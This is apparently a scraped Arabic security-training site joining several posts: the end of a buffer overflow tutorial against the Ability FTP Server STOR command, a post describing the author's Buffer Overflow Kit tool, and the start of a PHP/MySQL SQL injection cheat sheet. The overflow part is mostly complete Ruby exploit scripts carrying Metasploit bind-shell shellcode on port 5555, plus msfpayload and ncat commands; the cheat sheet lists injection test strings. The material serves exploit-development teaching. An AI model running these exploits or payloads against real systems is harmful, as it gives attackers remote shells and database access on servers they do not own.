s.close
#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{buffer.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"
[button size=”small” color=”blue” url=”http://www.security4arabs.com/files/bof-tut/Part2/files/Ability-STOR/ability-STOR4.rb”]Download ability-STOR4.rb[/button]
شكل الذكرة سيكون كالتالي
رائع,,
4. Find memory space for shellcode
بعد أن تأكدنا أننا نصل إلى الـEIP بنجاح جاء وقت أننا نبحث عن مكان في الذاكرة لكي نضع فيه الـ Shellcode هذا المكان الذي سيقفز إليه الـ EIP أينما كان لتنفيذ الكود الذي نريده سواء كان فتح إتصال أو إضافة مستخدم أو حتى تشغيل الألة الحاسبة 🙂
4.1. Find the proper address
هناك عدة أماكن من الممكن أنبحث فيها ويجب أن تتميز هذه الأماكن بصفات معينة سواء كلها أو بعضها لكن بعضها مهم ويجب توافره.
ماهي الأماكن والملفات التي يمكن أن نبحث فيها عن مكان لوضع الـ Shellcode
– ملفات الـ dll الخاصة بالنظام مثل: user32.dll , kernel32.dll , shell32.dll
– ملفات الـ dll الخاصة بالبرنامج إن وجدت
– ملف الـ exe الخاص بالبرنامج نفسه – يعيبه أنه يحتوي على الكثير من الـ bad characters أحيانا
ماهي الشروط التي يجب توافرها
– ألا تكون خاصية الـ ALSR مفعله
– ألا تكون خاصية الـ SafeSEH مفعلة – في حالة Direct stack لن تؤثر وتستطيع أن تهملها
– استخدام ملفات الـ dll الخاصة بالبرنامج مقدمة على استخدام ملفات النظام – لتفادي مشاكل اختلاف إصدارات النظام واللغات والتحديثات
– ألا يبدأ عنوان القفز إلى الملف بثلاثة أصفار (000) تفاديا للـ bad character – وسنعرف ما هو عنوان القفز بعد قليل
لنعرف الملفات التنفيذية التي تعمل مع عمل البرنامج اضغط على زر “e” كما في الصورة
ستظهر هذه النافذة
سأختار من ضمن الملفات ملف user32.dll
والأن جاء الوقت للبحث عن المكان الذي سنضع فيه الـ shellcode ونجعل الـ EIP يقفز إليه
– إذهب إلى أسفل المنقح
و سنستخدم إضافة mona.py للبحث داخل ملف user32.dll على عنوان مناسب بتنفيذ الأمر التالي , ثم انتظر قليلا
!mona jmp -r esp -n -m USER32.dll
[box style=”tip”]
إذا أردت البحث عن jmp في جميع الملفات دون تحديد dll معين, استخدم الطريقة التالية لكن ستضطر للانتظار وقت أطول قليلا
!mona jmp -r esp -n
[/box]
– اذهب إلى الملف jmp.txt في المسار “C:\Program Files\Immunity Inc\Immunity Debugger\jmp.txt”
ستجد محتوياته تشبه هذه
0x77d8af0a : jmp esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.2180 (C:\WINDOWS\system32\USER32.dll)
0x77d6b141 : call esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.2180 (C:\WINDOWS\system32\USER32.dll)
0x77d5aa01 : push esp # ret | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.2180 (C:\WINDOWS\system32\USER32.dll)
سنختار العنوان الذي يسبق jmp esp وهو 0x77d8af0a
[box style=”info”]
هل تذكر عندما أشرنا في مرحلة الـ Fuzzing أننا استطعناالوصوع إلى EIP و ESP ؟ لهذا نحن بحثنا عن jmp esp ولو وجدنا أننا وصلنا إلى أي register اخر مثلا “EBX” لاستبدلنا esp به وستصبح jmp ebx.
[/box]
[box style=”tip”]
هناك طرق عديدة أخرى للقفز من مكان إلى مكان و -بإذن الله- سأشرحها في موضوع مستقل. حتى الأن أريدك أن تركز على jmp وإذا استوعبت الأمر جيدا, جرب أن تستخدم عنوان “call esp” و الذي هو 0x77d6b141 وتعيد الخطوات بداية من هنا. فقط انهي الشرح معي خطوة بخطوة ثم ارجع إلى هذه النقطة وجرب بنفسك.
[/box]
5. Jump to the shellcode
بعد أن عرفنا العنوان الذي سنقفز إليه في الذاكرة لكي نضع الـ Shellcode يجب أن نحوله إلى little endian character حتى هي الصيغة التي تقرأ بها معالجات Intel من الذاكرة -هناك تفصيل لهذا ولسنا بصدده- إذا كيف نحول الـ byte إلى Little endian format؟.
للتوضيح, لو كان عند 4 bytes بهذا الشكل ABCD والتي تعني \x41\x42\x43\x44 فإن صيغة الـ little endian ستكون \x44\x43\x42\x41.
للقيام بهذه العملية بشكل أسرع وبدون الوقوع في أخطاء أثناء عملنا, قمت بعمل أداة تقوم بتحول العنوان المعطى إلى little endian تجدها في أداة Buffer overflow Kit.
ruby bofk-cli.rb --hex2lend 0x77d8af0a
---[ Little endian format ]----------------------------------------------------
\x0a\xaf\xd8\x77
------------------------------------------------------------------------------
جميل, الأن لنضع هذه القيمة في الـ EIP ونرى هل سيقفز إلى هذا العنوان أم لا.
ستلاحظ أننا أضفنا في السكريبت متغيران
nop: وقيمتها \x90 وهي تعني No Operation حيث لا يقوم المعالج بعمل أي شئ خلال مروره بهذه المجموعة من البايتات و تواجدها مهم قبل الـ shellcode.
shellcode: هنا أضفنا 370 بايت من الحرف S (قيمة حرف S بالهيكسا هي \x53) وهي قيمة مقاربة لحجم الـ shellcode الحقيقي من الميتاسبلويت وسنستبلدها لاحقا بواحد حقيقي.
بعد تشغيل البرنامج و قبل أن تنفذ السكريبت قم بالبحث عن العنوان 0x77d8af0a في البرنامج وضع عنده نقطة وقوف بالطريقة التالية
– اضغط Ctrl + G وضع فيها القيمة 0x77d8af0a
– في الشاشة العلوية اليسرى, ستجد المؤشر يقف عند jmp esp. اضغط F2
الأن نفذ السكريبت
#!/usr/bin/env ruby
#======================================================#
# Ability FTP server exploit #
# Security4arabs.com: Buffer Overflow tutorials #
# Coded By: Sabri Saleh - KING SABRI | @KINGSABRI #
#======================================================#
require 'socket'
junk = "A" * 969
eip = "\x0a\xaf\xd8\x77"
nop = "\x90" * 8
shellcode = "S" * 370
rest = "C" * (2000 - (junk + eip + nop + shellcode).size)
exploit = junk + eip + nop + shellcode + rest
#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("STOR " + exploit + "\r\n", 0)
total = s.send("STOR " + exploit + "\r\n", 0)
s.close
#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{exploit.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"
[button size=”small” color=”blue” url=”http://www.security4arabs.com/files/bof-tut/Part2/files/Ability-STOR/ability-STOR5.rb”]Download ability-STOR5.rb[/button]
ستجد الوضع كالتالي:
لاحظ لون الـ Breackpoint تغير وهذا يعني أننا وصلنا له بنجاح.
الأن إضغط F7 مرة واحدة وانظر ماذا سيحصل في النافذة العلوية اليسرى
استمر في الضغط على F7 سترى أن الـ EIP يمشي الأن خلال الـ Shellcode وهو حرف الـ S لو نزلت بالماوس لتسرع العملية ستجد أن في نهاية حرف الـ S هناك حرف C وهي البايتات التي ذيلنا بها الexploit .
رائع!! لنبدأ إذاً في وضع Shellcode حقيقي
6. Generate shellcode and exploit
سنستخدم الـ metasploit shllcode من نوع Bind shell على منفذ 5555
بهذه الطريقة
./msfpayload windows/shell_bind_tcp LPORT=5555 R | ./msfencode -a x86 -t ruby
اغلق المنقح وشغل البرنامج لوحدة -دون إدخاله في المنقح- ضع المخرجات في السكريبت ونفذه
6.1. Generate shellcode
اذهب إلى
#!/usr/bin/env ruby
#======================================================#
# Ability FTP server exploit #
# Security4arabs.com: Buffer Overflow tutorials #
# Coded By: Sabri Saleh - KING SABRI | @KINGSABRI #
#======================================================#
require 'socket'
junk = "A" * 969
eip = "\x0A\xAF\xD8\x77" # jmp esp 0x77D8AF0A USER32.dll | use bof-cli.rb -e 0x77D8AF0A
nop = "\x90" * 32
shellcode = #./msfpayload windows/shell_bind_tcp LPORT=5555 R | ./msfencode -a x86 -t ruby (size 368)
"\xba\x7f\x60\xb5\x48\xd9\xee\xd9\x74\x24\xf4\x5d\x33\xc9" +
"\xb1\x56\x31\x55\x13\x03\x55\x13\x83\xed\x83\x82\x40\xb4" +
"\x93\xca\xab\x45\x63\xad\x22\xa0\x52\xff\x51\xa0\xc6\xcf" +
"\x12\xe4\xea\xa4\x77\x1d\x79\xc8\x5f\x12\xca\x67\x86\x1d" +
"\xcb\x49\x06\xf1\x0f\xcb\xfa\x08\x43\x2b\xc2\xc2\x96\x2a" +
"\x03\x3e\x58\x7e\xdc\x34\xca\x6f\x69\x08\xd6\x8e\xbd\x06" +
"\x66\xe9\xb8\xd9\x12\x43\xc2\x09\x8a\xd8\x8c\xb1\xa1\x87" +
"\x2c\xc3\x66\xd4\x11\x8a\x03\x2f\xe1\x0d\xc5\x61\x0a\x3c" +
"\x29\x2d\x35\xf0\xa4\x2f\x71\x37\x56\x5a\x89\x4b\xeb\x5d" +
"\x4a\x31\x37\xeb\x4f\x91\xbc\x4b\xb4\x23\x11\x0d\x3f\x2f" +
"\xde\x59\x67\x2c\xe1\x8e\x13\x48\x6a\x31\xf4\xd8\x28\x16" +
"\xd0\x81\xeb\x37\x41\x6c\x5a\x47\x91\xc8\x03\xed\xd9\xfb" +
"\x50\x97\x83\x93\x95\xaa\x3b\x64\xb1\xbd\x48\x56\x1e\x16" +
"\xc7\xda\xd7\xb0\x10\x1c\xc2\x05\x8e\xe3\xec\x75\x86\x27" +
"\xb8\x25\xb0\x8e\xc0\xad\x40\x2e\x15\x61\x11\x80\xc5\xc2" +
"\xc1\x60\xb5\xaa\x0b\x6f\xea\xcb\x33\xa5\x9d\xcb\xfd\x9d" +
"\xce\xbb\xff\x21\xe5\x88\x89\xc4\x6f\xff\xdf\x5f\x07\x3d" +
"\x04\x68\xb0\x3e\x6e\xc4\x69\xa9\x26\x02\xad\xd6\xb6\x00" +
"\x9e\x7b\x1e\xc3\x54\x90\x9b\xf2\x6b\xbd\x8b\x7d\x54\x56" +
"\x41\x10\x17\xc6\x56\x39\xcf\x6b\xc4\xa6\x0f\xe5\xf5\x70" +
"\x58\xa2\xc8\x88\x0c\x5e\x72\x23\x32\xa3\xe2\x0c\xf6\x78" +
"\xd7\x93\xf7\x0d\x63\xb0\xe7\xcb\x6c\xfc\x53\x84\x3a\xaa" +
"\x0d\x62\x95\x1c\xe7\x3c\x4a\xf7\x6f\xb8\xa0\xc8\xe9\xc5" +
"\xec\xbe\x15\x77\x59\x87\x2a\xb8\x0d\x0f\x53\xa4\xad\xf0" +
"\x8e\x6c\xdd\xba\x92\xc5\x76\x63\x47\x54\x1b\x94\xb2\x9b" +
"\x22\x17\x36\x64\xd1\x07\x33\x61\x9d\x8f\xa8\x1b\x8e\x65" +
"\xce\x88\xaf\xaf"
rest = "C" * (2000 - (junk + eip + nop + shellcode).size)
exploit = junk + eip + nop + shellcode + rest
#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("STOR " + exploit + "\r\n", 0)
total = s.send("STOR " + exploit + "\r\n", 0)
s.close
#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{exploit.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"
الأن قم بالإتصال على منفذ 5555 بهذه الطريقة
ncat -nvv 10.0.0.76 5555
ستجد النتيجة هي
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Connection refused.
نعم, الShellcode لم يعمل بشكل صحيح وستجد رسالة خطأ خرجت من البرنامج. والسبب هو وجود Bad characters
6.2. Find Bad/Restricted characters
الرجاء مراجعة موضوع (قمت بتحديث الموضوع): إيجاد الـ Bad characters في الـ Shellcode
إيجاد الـ Bad Characters في الـ Shellcode
لن أعيد ماكتبته وهنا سنجرب الـ Bad characters المشهورة والتي يجب تفاديها في أي Shellcode نقوم بعمله وهذه ال characters هي “\x00\x0a\x0d”.
6.3. Real & clean shellcode
الأن, من الميتاسبلويت وبنفس الطريقة السابقة إلا أننا سنزيل الـ Bad characters الذي نريد أن نزيحها
بهذه الطريقة
./msfpayload windows/shell_bind_tcp LPORT=5555 R | ./msfencode -a x86 -b '\x00\x0a\x0d' -t ruby
مخرجاته ستكون
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)
buf =
"\xda\xd0\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1\x56\xbf\x9d\x28" +
"\xd0\x22\x83\xee\xfc\x31\x7e\x14\x03\x7e\x89\xca\x25\xde" +
"\x59\x83\xc6\x1f\x99\xf4\x4f\xfa\xa8\x26\x2b\x8e\x98\xf6" +
"\x3f\xc2\x10\x7c\x6d\xf7\xa3\xf0\xba\xf8\x04\xbe\x9c\x37" +
"\x95\x0e\x21\x9b\x55\x10\xdd\xe6\x89\xf2\xdc\x28\xdc\xf3" +
"\x19\x54\x2e\xa1\xf2\x12\x9c\x56\x76\x66\x1c\x56\x58\xec" +
"\x1c\x20\xdd\x33\xe8\x9a\xdc\x63\x40\x90\x97\x9b\xeb\xfe" +
"\x07\x9d\x38\x1d\x7b\xd4\x35\xd6\x0f\xe7\x9f\x26\xef\xd9" +
"\xdf\xe5\xce\xd5\xd2\xf4\x17\xd1\x0c\x83\x63\x21\xb1\x94" +
"\xb7\x5b\x6d\x10\x2a\xfb\xe6\x82\x8e\xfd\x2b\x54\x44\xf1" +
"\x80\x12\x02\x16\x17\xf6\x38\x22\x9c\xf9\xee\xa2\xe6\xdd" +
"\x2a\xee\xbd\x7c\x6a\x4a\x10\x80\x6c\x32\xcd\x24\xe6\xd1" +
"\x1a\x5e\xa5\xbd\xef\x6d\x56\x3e\x67\xe5\x25\x0c\x28\x5d" +
"\xa2\x3c\xa1\x7b\x35\x42\x98\x3c\xa9\xbd\x22\x3d\xe3\x79" +
"\x76\x6d\x9b\xa8\xf6\xe6\x5b\x54\x23\xa8\x0b\xfa\x9b\x09" +
"\xfc\xba\x4b\xe2\x16\x35\xb4\x12\x19\x9f\xc3\x14\xd7\xfb" +
"\x80\xf2\x1a\xfc\x33\xb0\x92\x1a\x51\xa6\xf2\xb5\xcd\x04" +
"\x21\x0e\x6a\x76\x03\x22\x23\xe0\x1b\x2c\xf3\x0f\x9c\x7a" +
"\x50\xa3\x34\xed\x22\xaf\x80\x0c\x35\xfa\xa0\x47\x0e\x6d" +
"\x3a\x36\xdd\x0f\x3b\x13\xb5\xac\xae\xf8\x45\xba\xd2\x56" +
"\x12\xeb\x25\xaf\xf6\x01\x1f\x19\xe4\xdb\xf9\x62\xac\x07" +
"\x3a\x6c\x2d\xc5\x06\x4a\x3d\x13\x86\xd6\x69\xcb\xd1\x80" +
"\xc7\xad\x8b\x62\xb1\x67\x67\x2d\x55\xf1\x4b\xee\x23\xfe" +
"\x81\x98\xcb\x4f\x7c\xdd\xf4\x60\xe8\xe9\x8d\x9c\x88\x16" +
"\x44\x25\xb8\x5c\xc4\x0c\x51\x39\x9d\x0c\x3c\xba\x48\x52" +
"\x39\x39\x78\x2b\xbe\x21\x09\x2e\xfa\xe5\xe2\x42\x93\x83" +
"\x04\xf0\x94\x81"
ضع هذا الShellcode في السكريبت
6.4. Exploit
الأن وأخيرا, أغلق البرنامج تماما وتأكد أنه لا يوجد أي Process تعمل للبرنامج وأعد تشغيله لوحده دون المنقح
وبعد أن وضعنا مخرجات الـ Shellcode الجديد بدون Bad characters سيكون كالتالي
#!/usr/bin/env ruby
#======================================================#
# Ability FTP server exploit #
# Security4arabs.com: Buffer Overflow tutorials #
# Coded By: Sabri Saleh - KING SABRI | @KINGSABRI #
#======================================================#
require 'socket'
junk = "A" * 969
eip = "\x0A\xAF\xD8\x77" # jmp esp 0x77D8AF0A USER32.dll | use bof-cli.rb -e 0x77D8AF0A
nop = "\x90" * 32
shellcode = #./msfpayload windows/shell_bind_tcp LPORT=5555 R | ./msfencode -a x86 -b '\x00\x0a\x0d' -t ruby (size 368)
"\xda\xd0\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1\x56\xbf\x9d\x28" +
"\xd0\x22\x83\xee\xfc\x31\x7e\x14\x03\x7e\x89\xca\x25\xde" +
"\x59\x83\xc6\x1f\x99\xf4\x4f\xfa\xa8\x26\x2b\x8e\x98\xf6" +
"\x3f\xc2\x10\x7c\x6d\xf7\xa3\xf0\xba\xf8\x04\xbe\x9c\x37" +
"\x95\x0e\x21\x9b\x55\x10\xdd\xe6\x89\xf2\xdc\x28\xdc\xf3" +
"\x19\x54\x2e\xa1\xf2\x12\x9c\x56\x76\x66\x1c\x56\x58\xec" +
"\x1c\x20\xdd\x33\xe8\x9a\xdc\x63\x40\x90\x97\x9b\xeb\xfe" +
"\x07\x9d\x38\x1d\x7b\xd4\x35\xd6\x0f\xe7\x9f\x26\xef\xd9" +
"\xdf\xe5\xce\xd5\xd2\xf4\x17\xd1\x0c\x83\x63\x21\xb1\x94" +
"\xb7\x5b\x6d\x10\x2a\xfb\xe6\x82\x8e\xfd\x2b\x54\x44\xf1" +
"\x80\x12\x02\x16\x17\xf6\x38\x22\x9c\xf9\xee\xa2\xe6\xdd" +
"\x2a\xee\xbd\x7c\x6a\x4a\x10\x80\x6c\x32\xcd\x24\xe6\xd1" +
"\x1a\x5e\xa5\xbd\xef\x6d\x56\x3e\x67\xe5\x25\x0c\x28\x5d" +
"\xa2\x3c\xa1\x7b\x35\x42\x98\x3c\xa9\xbd\x22\x3d\xe3\x79" +
"\x76\x6d\x9b\xa8\xf6\xe6\x5b\x54\x23\xa8\x0b\xfa\x9b\x09" +
"\xfc\xba\x4b\xe2\x16\x35\xb4\x12\x19\x9f\xc3\x14\xd7\xfb" +
"\x80\xf2\x1a\xfc\x33\xb0\x92\x1a\x51\xa6\xf2\xb5\xcd\x04" +
"\x21\x0e\x6a\x76\x03\x22\x23\xe0\x1b\x2c\xf3\x0f\x9c\x7a" +
"\x50\xa3\x34\xed\x22\xaf\x80\x0c\x35\xfa\xa0\x47\x0e\x6d" +
"\x3a\x36\xdd\x0f\x3b\x13\xb5\xac\xae\xf8\x45\xba\xd2\x56" +
"\x12\xeb\x25\xaf\xf6\x01\x1f\x19\xe4\xdb\xf9\x62\xac\x07" +
"\x3a\x6c\x2d\xc5\x06\x4a\x3d\x13\x86\xd6\x69\xcb\xd1\x80" +
"\xc7\xad\x8b\x62\xb1\x67\x67\x2d\x55\xf1\x4b\xee\x23\xfe" +
"\x81\x98\xcb\x4f\x7c\xdd\xf4\x60\xe8\xe9\x8d\x9c\x88\x16" +
"\x44\x25\xb8\x5c\xc4\x0c\x51\x39\x9d\x0c\x3c\xba\x48\x52" +
"\x39\x39\x78\x2b\xbe\x21\x09\x2e\xfa\xe5\xe2\x42\x93\x83" +
"\x04\xf0\x94\x81"
rest = "C" * (2000 - (junk + eip + nop + shellcode).size)
exploit = junk + eip + nop + shellcode + rest
#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("STOR " + exploit + "\r\n", 0)
total = s.send("STOR " + exploit + "\r\n", 0)
s.close
#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{exploit.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"
[button size=”small” color=”blue” url=”http://www.security4arabs.com/files/bof-tut/Part2/files/Ability-STOR/ability-STOR6.rb”]Download ability-STOR6.rb[/button]
نفذ الـ Exploit ثم اتصل على الجهاز الهدف على منفذ 5555
ncat -nvv 10.0.0.76 5555
Demonstration
في النهاية, هذا فيدو توضيعي لكل ما تم عمله سابقا بشكل سريع.
تحياتي واحترامي
Buffer Overflow tutorial – Part 1: Tools
[toc]
مقدمة
سأسرد لكم بعض أهم الأدوات المستخدمة في عملية اكتشاف وكتابة استغلال ثغرات الـ Buffer Overflow. بالطبع هذه الأدوات ليست الوحيدة ولكنها الأشمل والأشهر. إذا رأيت أن هناك أداة مهمة تستحق أن تضاف إلى هذه القائمة الرجاء ذكرها في التعليقات.
تثبيت Ruby 1.9.3 على أوبونتو
تثبيت Ruby 1.9.3 على أوبونتو apt-get -y install ruby1.9.1-full
جعل الإصدار 1.9.3 هو الإصدار الافتراضي update-alternatives --config ruby
There are 2 choices for the alternative ruby (providing /usr/bin/ruby). Selection Path Priority Status ———————————————————— * 0 /usr/bin/ruby1.8 50 auto mode 1 /usr/bin/ruby1.8 50 manual mode 2 /usr/bin/ruby1.9.1 10 manual mode Press enter to keep the current choice[*], or type selection number: 2 update-alternatives: using /usr/bin/ruby1.9.1 to provide /usr/bin/ruby (ruby) in manual mode.
جعل الـ gem الخاص بالإصدار 1.9.3 هو الافتراضي update-alternatives --config gem
There are 2 choices for the alternative gem (providing /usr/bin/gem). Selection Path Priority Status ———————————————————— * 0 /usr/bin/gem1.8 180 auto mode 1 /usr/bin/gem1.8 180 manual mode 2 /usr/bin/gem1.9.1 10 manual mode Press enter to keep the current choice[*], or type selection number: 2 update-alternatives: using /usr/bin/gem1.9.1 to provide /usr/bin/gem (gem) in manual mode.
للتأكد ruby --version
1.9.3p0 (2011-10-30 revision 33570) [x86_64-linux]
gem -v
1.8.11
تثبيت بعض الـ gems التي قد نحتاجها gem install pry colorize
تحميل المنقح Immunity debugger
راجع موضوع : شرح امكانيات برنامج Immunity debugger – الواجهة
تحميل إضافة mona.py
إضافة mona.py هي إضافة رائعة لبرنامج Immunity debugger من تطوير الرائع Peter Van وفريقه وهي البديل الجديد لإضافته السابقة pvefindaddr التي كنا قد تحدثنا عنها سابقا
رابط التحميل
أو ستجدها افتراضيا عند تحميل Buffer Overflow kit ضمن الأدوات الإضافية.
طريقة تركيب الإضافة مع Immunity debugger هي نفس طريقة تركيب pvefindaddr
– أغلق برنامج Immunity debugger
– ضع الإضافة في المسار (C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands)
– شغل برنامج Immunity debugger
تحميل الـ Metsploit
تحميل أداة Buffer Overflow Kit
أداة Buffer Overflow Kit حيث تجمع عدة أدوات في مكان واحد من تطوير مجتمع الحماية العربي وسنقوم باستخدامها لاحقا بإذن الله.
الأداة Buffer Overflow Kit
مقدمة
عندما بدأت أتعلم Buffer Overflow اضطررت لاستخدام أدوات مختلفة من أماكن مختلفة, منها ماهو موجوده في الـ Metasploit ومنها ماهو من خارجها ومنها ماتمنيت أن تكون موجودة. فكرت مؤخرا أن أقوم بعمل أداة تجمع معظم الأدوات التي كنت أستخدمها في مكان واحد وإعادة كتابتها من البداية كي أستفيد وأتعلم كيفية بناء مثل تلك الأدوات نيابة عن أن هناك أدوات أخرى لن أكتبها من الأول لكنها مهمة في مراحل كتابة الاستغالا أو أنها إضافات مهمة ففضلت أن أرفقها في البرنامج على أنها أدوات خارجية.
كما وضحت سابقا, الأداة لا تقوم بعمل شئ جديد أو شئ ذكي بل هي تجميع وإعادة كتابة سكربتات عدة في مكان واحد, فمثلا أداتان pattern_create وpattern_offset ويعرفها من حاول الدخول في هذا المجال لم أجد سبب مقنعا أن تكونان في أداتين منفصلتين فأعدت كتابتها -بعيدا تماما عن metsploit- وجعلها جزء من السكريبت Bofkit.
محتويات الأداة – حتى الأن
- أداة Pattern create : لتوليد احتمالات غير متكررة لحروف
- أداة Pattern offset : لتحدد مكان حروف محددة من الحروف التي تم توليدها مسبقا
- أداة hex to little endian : لتحويل عنوان register إلى صيغة little endian
- أداة bin2hex : لتحويل ملف binary shellcode إلى صيغة hex لتستخدمه في الـ exploit
- أداة bin2hex : لتحويل Hex shellcode إلى ملف binary – السكريبت يعتبر اسكربت خارجي حتى الأن
- اسكربتات و أدوات خارجية مثل : nasm.exe , mona.py, hex2bin تجدها في مجلد bin/
- جاري إضافة وتطوير المزيد كلما دعت الحاجة و سمح الوقت والجهد
متطلبات تشغيل البرنامج
تثبيت Ruby 1.9.3 على أوبونتو
تثبيت Ruby 1.9.3 على أوبونتو
apt-get -y install ruby1.9.1-full
جعل الإصدار 1.9.3 هو الإصدار الافتراضي
update-alternatives --config ruby
There are 2 choices for the alternative ruby (providing /usr/bin/ruby).
Selection Path Priority Status
————————————————————
* 0 /usr/bin/ruby1.8 50 auto mode
1 /usr/bin/ruby1.8 50 manual mode
2 /usr/bin/ruby1.9.1 10 manual modePress enter to keep the current choice[*], or type selection number: 2
update-alternatives: using /usr/bin/ruby1.9.1 to provide /usr/bin/ruby (ruby) in manual mode.
جعل الـ gem الخاص بالإصدار 1.9.3 هو الافتراضي
update-alternatives --config gem
There are 2 choices for the alternative gem (providing /usr/bin/gem).
Selection Path Priority Status
——————————————————————
* 0 /usr/bin/gem1.8 180 auto mode
1 /usr/bin/gem1.8 180 manual mode
2 /usr/bin/gem1.9.1 10 manual modePress enter to keep the current choice[*], or type selection number: 2
update-alternatives: using /usr/bin/gem1.9.1 to provide /usr/bin/gem (gem) in manual mode.
للتأكد
ruby --version
1.9.3p0 (2011-10-30 revision 33570) [x86_64-linux]
gem -v
1.8.11
تثبيت Ruby 1.9.3 على فيدورا
فيدورا 18 تأتي باخر إصدار
yum -y install ruby
طريقة التشغل
– شاشة المساعدة
ruby bofk-cli.rb -h
---[ Help screen ]----------------------------------------------
Usage: ruby bofk-cli.rb {OPTIONS} ARGUMENT
Help menu:
-c, --pattern-create LENGTH Create Unique pattern string.
-o, --pattern-offset OFFSET Find Pattern offset string.
-l, --pattern-length LENGTH Only used with 'pattern-offset' if pattern was longer than 20280.
-e, --hex2lend OPCODE Convert Hex to little endian characters.
-x, --bin2hex BINARY_FILE Convert binary shellcode to Hex string.
-v, --version Display Buffer Overflow Kit version.
-h, --help Display help screen
External tools - bin/
[-] hex2bin.rb Hex to Binary file - BoFkit.
[-] nasm.exe Assembler and disassembler.
[-] mona.py Immunity debugger plugin - Corelan team.
Examples:
ruby bofk-cli.rb --pattern-create 500
ruby bofk-cli.rb --pattern-offset Aa4Z
ruby bofk-cli.rb --pattern-offset Zu2Z --pattern-length 40000
ruby bofk-cli.rb --hex2lend 0x41F2E377
ruby bofk-cli.rb --bin2hex input.bin
----------------------------------------
شاهد مثال حي على طريقة الاستخدام
تحميل الأداة
حمل الأداة من Github
https://github.com/KINGSABRI/BufferOverflow-Kit
للتحميل من سطر الأوامر
git clone https://github.com/KINGSABRI/BufferOverflow-Kit.git
و أي طلب أو مشكلة تواجهها الرجاء الإبلاغ عنها هناك
إذا كانت لك الرغبة في المشاركة في تطوير الأدة الرجال مراسلتي على
sabri {at} security4arabs {dot} net
SQL injection Cheat Sheet – Php/MySQL
[toc]
1. مقدمة
لا يخفى على أحد أهمية ثغرات حقن قواعد البيانات ومدى خطورتها على المواقع والتطبيقات و بالطبع على المعلومات. في هذا الموضوع لن اقوم بشرح مفاهيم ثغرات حقن القواعد وأنواعها بل سيكون بمثابة مراجعة سريعة على الخطوات العملية دون التعرض لأي مبادئ أو مفاهيم مما يؤكد أن هذا الموضوع لا يغنيك أبدا عن القراءة وفهم أصل وطبيعة هذا النوع من الثغرات. سنركز على حقن قواعد بيانات MySQL مع تطبيقات PHP.
سيكون بطل هذا الموضوع هو الرابط التالي :
http://Vulnerable-Site.ext/news_detail.php?id=9
[box style=”alert”]
أي تشابه في روابط أو مخرجات هذا الشرح مع أي موقع حقيقي هو بمحض الصدفة.
[/box]
[box style=”info”]
لمعرفة أخطر 10 ثغرات على تطبيقات الويب , الرجاء زيارة موقع OWASP و المهتم بكل ما يتعلق بحماية تطبيقات الويب بجيمع أنواعها.
[/box]
2. Test Vulnerability
ثغرات الحقن متنوعة ومختلفة في طبيعتها وطرق استغلالها لكنها تسري تحت نفس المبادئ. في الجدول التالي بعض الرموز المستخدمة للتأكد من وجود ثغرة في الموقع
[gn_table style=”1″]
‘ | “ | ‘” | ‘ or 1=1 | ‘ or 1=1– |
” or 1=1– | ‘ or 1=1– | ‘ or 1=1# | or 1=1/* | ‘or 1=1/* |
or 1=1;%00 | or a=a | ‘or a=a | or a=a– | or a=a# |
/**/’ | ‘or 1=1;%00 | “or 1=1;%00 | ‘)or(‘a’=’a’ | “)””a”=”a” |
‘or”=’ |
[/gn_table]
في حالة تنفيذ إحدى الرموز السابقة وظهر لك خطأ في قواعد البيانات -على سبيل المثال لا الحصر – كالتالي
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1 Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/listproducts.php on line 74
أو
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1
فإن احتمالية ان الموقع مصاب تصبح كبيرة و نسطيع التأكد بتجربة أكثر من رمز من الرموز الموضحة في الجدول اعلاه
3. Enumeration
لنسهل الأمر على أنفسنا, دعنا نطرح السؤال التالي:
ما هي البيانات اللتي نحتاجها أو الممكن جمعها من هذه الثغرة؟
الإجابة, في الفقرات التالية
3.1. Database type
أسهل طريقة لمعرفة نوع قاعدة البيانات هو عن طريق الخطأ الذي يظهر عن اختبار الثغرة فمثلا
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1
يتضح لنا أن قاعدة البيانات هي MySQL
مثال أخر
Microsoft SQL Native Client error ‘80040e14’
